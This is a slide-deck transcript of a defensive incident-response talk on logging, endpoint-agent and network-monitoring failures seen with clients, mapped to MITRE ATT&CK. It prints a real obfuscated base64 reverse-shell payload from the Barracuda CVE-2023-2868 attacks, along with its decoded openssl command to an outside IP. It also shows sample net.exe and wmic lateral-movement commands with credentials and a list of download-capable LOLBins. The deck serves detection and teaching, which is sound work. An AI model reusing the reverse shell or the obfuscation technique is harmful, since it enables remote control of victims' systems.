Incident Response Fails
Download as PPTX, PDF0 likes77 views
The document discusses common failures in incident response observed by Michael Gough, focusing on improper configuration of logging and endpoint agents, leading to inadequate detection of security incidents. It emphasizes the importance of maintaining foundational security practices (Security 101 and 201) while implementing advanced measures and highlights the necessity of thorough asset coverage and log management. Additionally, Gough advocates for conducting capability assessments to ensure effective incident response and threat hunting, aligning practices with the MITRE ATT&CK framework.
![NIX Example – Barracuda Email CVE-2023-2868
3 Public Consumption
• NIX and macOS ‘history’ of course we need too
• --Begin Encoded Payload--
• '`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvcGVuc3NsIHNfY2xpZW
50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjIyMy4xOTY6ODA4MCA+L3RtcC9wIDI+L2Rldi9udWxsO3JtIC90bXAvc
CI=;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt`'
• --End Encoded Payload--
• The encoded block above decodes to a reverse shell seen below.
• --Begin Decoded Command--
• setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet -
connect 107[.]148[.]223[.]196:8080 >/tmp/p 2>/dev/null;rm /tmp/p"
• --End Decoded Command--](https://image.slidesharecdn.com/incidentresponsefailsv2-230909034315-e3735ff5/85/Incident-Response-Fails-31-320.jpg)
Incident Response Fails
- 1. Presented by: Michael Gough Incident Response Fails What we see with our clients, and their fails
- 2. WHOAMI 2 Public Consumption Blue Team Defender Ninja, Malware Archaeologist, Logoholic and • Principal Incident Response Engineer for I love “properly” configured logs – they tell us Who, What, Where, When and hopefully How Creator of “Windows Logging Cheat Sheet” “Windows File Auditing Cheat Sheet” “Windows Registry Auditing Cheat Sheet” “Windows Splunk Logging Cheat Sheet” “Windows ATT&CK Logging Cheat Sheet” “ARTHIR – ATT&CK Remote Threat Hunting Incident Response tool” Co-Creator of: “Log-MD” – Log Malicious Discovery Tool and “File-MD” – Static file analysis scanner
- 3. WHOAMI 3 Public Consumption Why this talk? Learn from what we see in the trenches Avoid mistakes others make
- 4. Being an Incident Responder 4 Public Consumption • We get called when things get • Clients want to know Who, What, Where, When, and How the pwnage happened • We all know why… • So what do we consistently see with our clients? How are they failing?
- 5. Level Set 5 Public Consumption • Let us first define a few items • Security 101 – Things you should always do, usually things you already have and are FREE… well your time is needed • Security 201 – Things you should have to “reduce” pwnage and hopefully alert to suspicious activity • Security 301 – Things you should be doing with your tools, understand the gaps and address them with additional tooling, process and/or procedures • Security 501 – Doing things like Threat Hunting and being proactive at seeking out the malicious behavior
- 6. This talk 6 Public Consumption • This talk covers more of Security 101 and 201 • These are the things we see many, if not most organizations are failing, forgot or did not continue doing • Organizations jump to Security 301 and forget to continue Security 101 and 201 • This is the first #Fail we see
- 8. The 3 Cs 8 Public Consumption What do we see our clients fail at? Configuration Local audit logging not optimally configured Endpoint agents not optimally configured Coverage Endpoints missing one or more agents Some or all log data (endpoint, cloud, network, internet facing) not going to a log management solution Completeness Implement a process to validate and verify Configuration and Coverage is “Complete”
- 9. Completeness 9 Public Consumption When you roll out an agent… Do you... 1. Validate the agent was properly installed? 2. Compare it to a list of known assets? • Do you even know where or what all your assets are? 3. Verify the data is collecting properly? 4. Have a way to identify new systems as they come live? 5. Have a way to install agents on new systems quickly? 6. Verify the endpoint configuration is showing up in the proper console(s)… regularly?
- 10. Why the 3 C’s are important 10 Public Consumption • Incident Responders need data to discover what happened to the detail level we can be sure • This is so our clients can improve and close the gap(s) of why the pwnage happened or wasn’t detected • To reduce the cost and time of an Incident Response investigation is always a goal • It can save you 2x to 4x the cost of paying an Incident Response firm • You could be way ahead… IF you prepare
- 11. The 3 ‘s are FREE 11 Public Consumption • You don’t have to spend $$$ to improve procedures and processes • Or tweak some settings • People time is a cost, but not an external spend • So spend some time on Preparation…. It is in the P in the SANS PICERL model • Many of our clients have incomplete or broken agent installs and endpoint configuration is not optimal • This means incomplete coverage and configuration • Thus missing details and potentially the initial compromise
- 12. Windows Audit Logs 12 Public Consumption We check Windows systems for what logging is enabled before we perform triage to know what will likely be there… There is a freely available tool to check your Windows logs against some well known Cheat Sheets ;-) Hint..
- 13. Local Log Sizes are NOT Big Enough 13 Public Consumption
- 14. PowerShell Logging is inadequate 1 Public Consumption • PowerShell is used a lot in all kinds of attacks • Commodity, Ransomware, APT • Command Line details missing • ScriptBlock Logging improperly or not set
- 15. Audit Settings Fail 15 Public Consumption • We need the data enabled and retained for a week or longer
- 16. WHOAMI 16 Public Consumption • IF… Prevention worked so well • THEN… Why are we having more pwnage than ever before? • Can we change the term to something more realistic? • Let’s consider it “Reduction” • Now we can look at how we can reduce the likelihood, effort, time, damage, costs, etc… • Because we have not succeeded in preventing events
- 17. Threat Hunting 17 Public Consumption • It’s all the rage • Before you can do Threat Hunting and expect to actually find anything • You need to solve the 3 C’s and have one or more methods or solutions to hunt with • Fancy EDR Threat Hunting solution • Or better yet a log management solution • That collects all the “right” things
- 18. Threat Hunting 18 Public Consumption • Our clients want to do it • But the data is not enabled or being collected that is needed to perform any decent hunting • Same goes for performing Incident Response • You need the data or we can’t do the best job as fast as we like • Time is Money
- 19. Client Confidential So what are we seeing out there?
- 20. Lack of Process Details 20 Public Consumption • Why is EDR better than Anti-Virus? • For one thing it looks at the parameters and associations of an execution • The details tell us WHAT the Bad Actor(s) are actually doing • But EDR falls short on all the details as it tends to be execution based, some have comms too • But EDR alone is not enough
- 21. Some Clients Have EDR 21 Public Consumption • Is it stopping all the attacks? • No • Does it see part of the attack? • Yes • Will I get all the details I need to investigate • Probably not, depends on the solution • Authentication monitoring is not common in EDR solutions, so lateral movement is not detected until execution of something known bad occurs
- 22. Anti-Virus NOT Being Used Well 22 Public Consumption • We see clients with multiple AV solutions • Why is this bad? • Because getting the alert details into one place, like a Log Management solution can be a pain for many AV solutions • You need connectors to pull the data into your log management • We see Microsoft Defender alerts in the local logs, but no one is looking or collecting it
- 23. Anti-Virus NOT Being Used Well 23 Public Consumption • If a local log is available, use it! • Collect the Defender Logs for the following Event IDs • 1006, 1009, 1116, 1117, 1119 • Only created when it finds something, so low noise, high return if you collect and alert on them • We find one or more systems see a piece of an attack in the Defender logs, but no one looked, so it was missed
- 24. Ransomware 24 Public Consumption • Have you heard of this “new” attack? • Most are due to passwords being compromised and then logging into Internet facing systems, like RDP • Some by emailed payloads or links • Detection is very poor • Solution that detects/stops the brute login not present • Solution that detects/stops the mass encryption not present
- 26. Login Attempts 26 Public Consumption Massive Login Attempts • From the host being investigated • We see 20, 40, 60… failed logins to an endpoint or device • No alerting for obvious places failed login attempts in mass should NOT be • Failed logins provide the source IP and sometimes name of the source attacking/attempting device • Easy alert, IF endpoint data is being collected • Most do not collect user endpoint login data • Too bad as local logins to a host for a domain user are rare
- 27. Lateral Movement 27 Public Consumption • Lateral Movement • From the host being investigated • Bad guys use several methods, this is just one example • Net.exe, Net1.exe • You see 20 of these ‘net.exe’ in the logs, so what did they actually do? • NO Process Command Line being collected • Which means there are no details, and much more work to discover Where they went
- 28. Lateral Movement Details 28 Public Consumption Net.exe - devil IS in the details • WHAT Server/Workstation? • WHAT Share? • WHAT User? • IF Process Command Line was being collected then you would see…. Net.exe Secret-ServerCredit-Cards /u:SuperDomainUser /p:Password123
- 29. BIG Difference 2 Public Consumption Now if there were 20 of these events in the logs • We would now know: • What systems were connected to • What shares, thus what data was exposed and possibly taken • What user account(s) got pwned • As an Incident Responder I now have more targets to investigate because I KNOW they logged into these specific systems! • GREAT Resource by JPCert on Lateral Movement • https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf
- 30. Save Your Sanity, Time, And Job 3 Public Consumption • IF you collect the details, we can investigate in minutes/hours versus days/weeks • This equates to real $$$ saved • Since time is money • NIX and macOS ‘history’ of course we need too
- 31. NIX Example – Barracuda Email CVE-2023-2868 3 Public Consumption • NIX and macOS ‘history’ of course we need too • --Begin Encoded Payload-- • '`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvcGVuc3NsIHNfY2xpZW 50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjIyMy4xOTY6ODA4MCA+L3RtcC9wIDI+L2Rldi9udWxsO3JtIC90bXAvc CI=;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt`' • --End Encoded Payload-- • The encoded block above decodes to a reverse shell seen below. • --Begin Decoded Command-- • setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet - connect 107[.]148[.]223[.]196:8080 >/tmp/p 2>/dev/null;rm /tmp/p" • --End Decoded Command--
- 32. More Lateral Movement 3 Public Consumption • WMI is also used and does not log well • Look for “/user:” and /password • Remote WMI connections have a unique dual auth with Windows 10 and above, so look for these as sure fire indications of remote WMI pwnage • See my DerbyCon 2018 presentation • https://www.irongeek.com/i.php?page=videos/derbycon8/track-3-03-detecting-wmi- exploitation-michael-gough wmic /user:"FOREIGN_DOMAINAdmin" /password:"Password" /node:192.168.1.2 group list brief
- 33. More Lateral Movement 33 Public Consumption • Windows Remote Management (WinRM) – PowerShell Remoting • So VERY Powerful • Just enable and go anywhere • This is a bit different as we need to collect a different log • Applications and Services Logs – Microsoft-Windows-Windows-Remote-Management/Operational
- 34. More Lateral Movement 34 Public Consumption • You do need to configure the endpoint • Bad Actors use WMI to remotely execute: • winrm qc • Now PowerShell is being heavily used • Little on the Process Command Line as far as PowerShell details • What about WinRM Logs? • What about PowerShell Logs?
- 35. WinRM Has Logs 35 Public Consumption • Event ID 6 (Host/attacker) and 91 (Target) will give you a list of systems that are connected to
- 36. PowerShell Has Logs 36 Public Consumption • Event ID 4104 will show you the PowerShell command(s) used to connect • Enter-PSSession <hostname> … • Event ID 4103 will show you details against the Target system(s)
- 38. Network Fails 3 Public Consumption • Outbound traffic from servers • Most have the infamous ANY/ANY outbound • No basic detection or alerts for odd ports or NEW IPs • TOR uses 80 and 443, but also others • 4443, 9001, 9030, 9040, 9050, 9051, and 9150 • What about Countries or Network Owners of the outbound IPs? • No baseline of normal traffic
- 39. Client Confidential So where do you start?
- 40. Capabilities Assessment 40 Public Consumption • In the SANS PICERL model the last item is ‘Lesson Learned’ • So apply Post-Mortem to Pre-Mortem • We call this a Capability Assessment • What is my Incident Response capability to detect an attack and respond quickly? • Am I collecting the right things? • Do I have an idea how long the data is collecting for? • Where is the data located?
- 41. Capability Assessment 41 Public Consumption • You have to understand what data you have, how long it is collecting for and WHERE the data resides • You will need to break glass with an IR firm before this data rolls! • You need a process to evaluate this data and length you have it for • You may also need a process to collect or protect the data from rolling out of the logs
- 42. Capability Assessment 42 Public Consumption • By doing a Capability Assessment you can determine if the log data you have is adequate for Incident Response and also Threat Hunting • You can use a well-known framework to map what you have, or should have to detect well known items used by the bad actors • You can track the progress of what you are collecting and create playbooks or runbooks as you verify your sources
- 43. MITRE ATT&CK 43 Public Consumption • First - Everything you do should be mapped to MITRE ATT&CK - https://attack.mitre.org/ • Some of the techniques used • T1021.006 – Remote Service WinRM • T1047 – WMI • T1059.001 - Command and Scripting Interpreter: PowerShell • T1218 - Signed Binary Proxy Execution • Etc.
- 44. Watch for Downloading LOLBin/LOLBas 44 Public Consumption • Malicious code has to be downloaded • Advanced attackers and Red Teams will use the LOLBin and Scripts LOLBaS to download the payload • Alert on these • Baseline the normal, there will NOT be many • Watch these executions closely • Process Command Line details are key!!!
- 45. LOLBin/LOLBas That Can Be Downloaded 45 Public Consumption • powershell.exe • bitsadmin.exe • certutil.exe • psexec.exe • wmic.exe • mshta.exe • mofcomp.exe • cmstp.exe • windbg.exe • cdb.exe • msbuild.exe • csc.exe • regsvr32.exe • Excel too !!! Short list per Cisco Talos • mshta.exe • certutil.exe • bitsadmin.exe • regsvr32.exe • powershell.exe https://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html Process Command Line is KEY Map to MITRE ATT&CK
- 46. Watch Your Traffic 46 Public Consumption • It is time to setup some basic network monitoring as a part of Security 101 • Alert on ALL non 80/443 ports from internal servers • Of course 53, 22, 25, 465, 587, 1433, 3306 will be normal ports too, every org will have other ports • Look at the Network owner of the IPs and exclude the CIDR of known/trusted owners • Servers should not be overly complicated for outbound traffic IF they are not on the Internet
- 47. Watch Your Traffic 47 Public Consumption • Of course Internet facing servers are a bit different • Create a procedure to lookup the Country and Network Owner and build a normal pattern if you can for outbound traffic • Create a way to validate IPs • We will during an event • We will process LOTS of IPs • Of course you need to enable source IP logging • AWS Flow Logs - PLEASE
- 48. Internet Facing Systems 48 Public Consumption • How many Internet facing devices had remote vulnerabilities that got pwned in the last year or two? • It IS time to make sure the logging on Internet facing systems are collecting locally at a minimum • Know how long the data will exist or roll off • Focus on having the following data in the logs • Source IP (WHERE) • Country origin option (log mgmt. usually has this) • Authentication information (WHO)
- 50. Conclusion 50 Public Consumption • Learn from these typical failures • Configure your logging • Cover ALL your assets • Verify the Completeness • Watch for the items in this talk • And several other of my talks Practice Security 101 and 201 even if you are all the way to 501 or beyond
- 51. Resources 51 Public Consumption • Websites • Log-MD.com The tools • ARTHIR.com Free on GitHub • The “Windows Logging Cheat Sheet(s)” • https://MalwareArchaeology.com/cheat-sheets • MITRE ATT&CK is your friend • https://attack.mitre.org/techniques/enterprise/ • JPCert Detecting Lateral Movement • https://www.jpcert.or.jp/english/pub/sr/20170612ac- ir_research_en.pdf • This presentation and others on SlideShare • Search for MalwareArchaeology or LOG-MD
- 52. Questions? 52 Public Consumption You can find us at: • NCCGroup.com • MalwareArchaeology.com • TIME FOR HALLWAY CON !!!